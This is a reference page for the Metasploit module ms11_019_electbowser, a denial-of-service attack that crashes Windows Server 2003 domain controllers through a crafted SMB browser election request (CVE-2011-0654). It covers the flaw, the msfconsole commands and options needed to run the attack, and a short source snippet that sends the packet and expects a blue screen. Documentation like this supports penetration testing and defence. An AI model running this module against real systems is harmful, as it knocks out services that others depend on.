Microsoft Windows Browser Pool DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/windows/smb/ms11_019_electbowser metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Microsoft Windows Browser Pool DoS
Module: auxiliary/dos/windows/smb/ms11_019_electbowser
Source code: modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb
Disclosure date: -
Last modification time: 2021-02-26 10:13:11 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 138
List of CVEs: CVE-2011-0654

This module exploits a denial of service flaw in the Microsoft Windows SMB service on versions of Windows Server 2003 that have been configured as a domain controller. By sending a specially crafted election request, an attacker can cause a pool overflow. The vulnerability appears to be due to an error handling a length value while calculating the amount of memory to copy to a buffer. When there are zero bytes left in the buffer, the length value is improperly decremented and an integer underflow occurs. The resulting value is used in several calculations and is then passed as the length value to an inline memcpy operation. Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and causes considerable damage to kernel heap memory. While theoretically possible, it does not appear to be trivial to turn this vulnerability into remote (or even local) code execution.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/windows/smb/ms11_019_electbowser
msf auxiliary(ms11_019_electbowser) > show targets
    ... a list of targets ...
msf auxiliary(ms11_019_electbowser) > set TARGET target-id
msf auxiliary(ms11_019_electbowser) > show options
    ... show and set options ...
msf auxiliary(ms11_019_electbowser) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • DOMAIN: The name of the domain that the target controls

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Msfconsole Usage

Here is how the dos/windows/smb/ms11_019_electbowser auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/windows/smb/ms11_019_electbowser

msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show info

       Name: Microsoft Windows Browser Pool DoS
     Module: auxiliary/dos/windows/smb/ms11_019_electbowser
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Cupidon-3005
  jduck <[email protected]>

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  DOMAIN                   yes       The name of the domain that the target controls
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   138              yes       The target port (UDP)

Description:
  This module exploits a denial of service flaw in the Microsoft 
  Windows SMB service on versions of Windows Server 2003 that have 
  been configured as a domain controller. By sending a specially 
  crafted election request, an attacker can cause a pool overflow. The 
  vulnerability appears to be due to an error handling a length value 
  while calculating the amount of memory to copy to a buffer. When 
  there are zero bytes left in the buffer, the length value is 
  improperly decremented and an integer underflow occurs. The 
  resulting value is used in several calculations and is then passed 
  as the length value to an inline memcpy operation. Unfortunately, 
  the length value appears to be fixed at -2 (0xfffffffe) and causes 
  considerable damage to kernel heap memory. While theoretically 
  possible, it does not appear to be trivial to turn this 
  vulnerability into remote (or even local) code execution.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2011-0654
  http://www.securityfocus.com/bid/46360
  OSVDB (70881)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2011/MS11-019
  https://www.exploit-db.com/exploits/16166
  https://seclists.org/fulldisclosure/2011/Feb/285

Module Options

This is a complete list of options available in the dos/windows/smb/ms11_019_electbowser auxiliary module:

msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show options

Module options (auxiliary/dos/windows/smb/ms11_019_electbowser):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   DOMAIN                   yes       The name of the domain that the target controls
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   138              yes       The target port (UDP)

Advanced Options

Here is a complete list of advanced options supported by the dos/windows/smb/ms11_019_electbowser auxiliary module:

msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show advanced

Module advanced options (auxiliary/dos/windows/smb/ms11_019_electbowser):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/windows/smb/ms11_019_electbowser module can do:

msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/windows/smb/ms11_019_electbowser auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/windows/smb/ms11_019_electbowser) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The target should encounter a blue screen error now.

Here is a relevant code snippet related to the "The target should encounter a blue screen error now." error message:

99:	
100:	    print_status("Sending specially crafted browser election request..")
101:	    #print_status("\n" + Rex::Text.to_hex_dump(nbdgs))
102:	    udp_sock.put(nbdgs)
103:	
104:	    print_status("The target should encounter a blue screen error now.")
105:	
106:	    disconnect_udp
107:	
108:	  end
109:

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References

See Also

Check also the following modules related to this module:

Authors

  • Cupidon-3005
  • jduck

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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